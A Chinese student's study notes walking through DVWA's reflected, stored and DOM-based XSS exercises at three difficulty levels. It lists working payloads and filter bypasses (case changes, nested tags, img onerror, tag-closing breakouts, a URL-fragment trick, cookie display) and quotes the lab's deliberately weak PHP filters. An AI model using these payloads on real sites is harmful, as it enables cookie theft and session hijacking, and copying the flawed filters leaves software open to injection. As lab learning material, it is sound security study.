由于政策放开我们学校已经采取线上上课的教学方式,虽然现在已经在家了,但是学习还是要继续,休息了几天之后这两天学习了XSS跨站脚本攻击。
目录
XSS简介
跨站脚本攻击是指通过在Web页面里插入恶意javascript代码,当用户浏览该页之时,恶意代码会被执行,从而达到攻击的目的。
反射型XSS
简介
非持久型XSS,这种攻击方式往往具有一次性,主要存在于攻击者将恶意脚本附加到url参数中,发送给用户,服务端未经过严格的过滤处理,而输出在用户的浏览器中,当用户点击链接时会会发送请求触发恶意代码执行,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端所以没有持久性
常见注入点
搜索框,登录入口等。主打钓鱼和窃取客户端cookie
DVWA(XSS Reflected)
Low
尝试注入
<script>alert('wmm')</script>
出现了弹框表示注入成功查看网页源码我们可以发现我们输入内容出现在了网页源码内,并且script标签被解析了,说明存在xss漏洞
我们可以借此获得cookie
<script>alert(document.cookie)</script>
Medium
尝试用<script>标签注入发现没有弹窗出现,观察页面回显猜测<script>标签英爱是被过滤了,尝试采用大小写绕过试试,发现成功绕过
<Script>alert('wmm')</Script>
查看php源码发现是将<script>替换成空,因此我们还可以采用双写绕过
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<s<script>cript>alert('wmm')</script>
High
根据上一题是将script标签替换成空进行简单的过滤,猜测这题是将script用正则表达式过滤,所以我们只能采用别的标签进行注入比如<img>标签(img标签中,当src的值不存在时会执行onerror的内容)
<img src=1 onerror=alert('wmm') />
查看php源码发现就是采用正则表达式过滤了script标签
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
存储型XSS
简介
持久型XSS漏洞主要存在于攻击者将恶意代码脚本存储到服务器中,当用户访问包含恶意数据相关的页面时,服务端未经过严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。
常见注入点
留言板,评论等
DVWA(XSS Stored)
Low
如图所示,将script标签放在Massage中被网页解析了,出现弹窗,而且内容被存储在服务器中
Medium
在Massage中尝试了用img标签发现都没有用,应该不能在Massage中注入了,或者很难在Massage中注入,不如改变方向,尝试从Name中注入
在Name中注入时发现有长度限制,先将其maxLength改为1000,再尝试注入
第一次用script标签注入发现被过滤了,尝试用大小写绕过成功
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
审计源码发现massage使用htmlspecialchars()函数,将massage中含有的预定义字符'<'和'>'转化为实体,即转化为字符,导致页面不解析标签
High
结合之前的题目,猜测实在Name中将script用正则表达过滤了,于是先修改Name的长度,再用img标签注入,成功
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
审计源码发现就是这么回事name用正则表达式过滤了
DOM型XSS
简介
基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是访问和操作HTML文档的 标准方法,可以通过利用js来访问操作HTML,由于其是基于js,不需要与服务器进行交互。简单是说就是通过改变DOM树来修改HTML文档。
DVWA(XSS DOM)
Low
选择一个选项后发现页面出现一个注入点,将<script>alert('wmm')</script>作为参数传入
Medium
尝试了大小写绕过,和双写都不行。于是尝试了img标签也不行,检查发现img标签没有被写入
发现传入的参数要包裹在 option标签下,而option在select标签下,说明要先闭合option标签和select标签
?default=</option></select><img src=1 onerror=alert('wmm') />
检查源码发现成功插入img标签
源码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
如源码所示,过滤了<script
stripos()函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)
High
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
直接上源码,源码显示如果输入的default参数不在 French","English","German","Spanish"中时直接返回default=English
我们可以用#(%23)来截断,#这个字符后面的数据不会发送到服务器端,就是说php中default的值是English,相当于绕过了后端的过滤,而且在HTML中#不表示注释
?default=English#<script>alert('wmm')</script>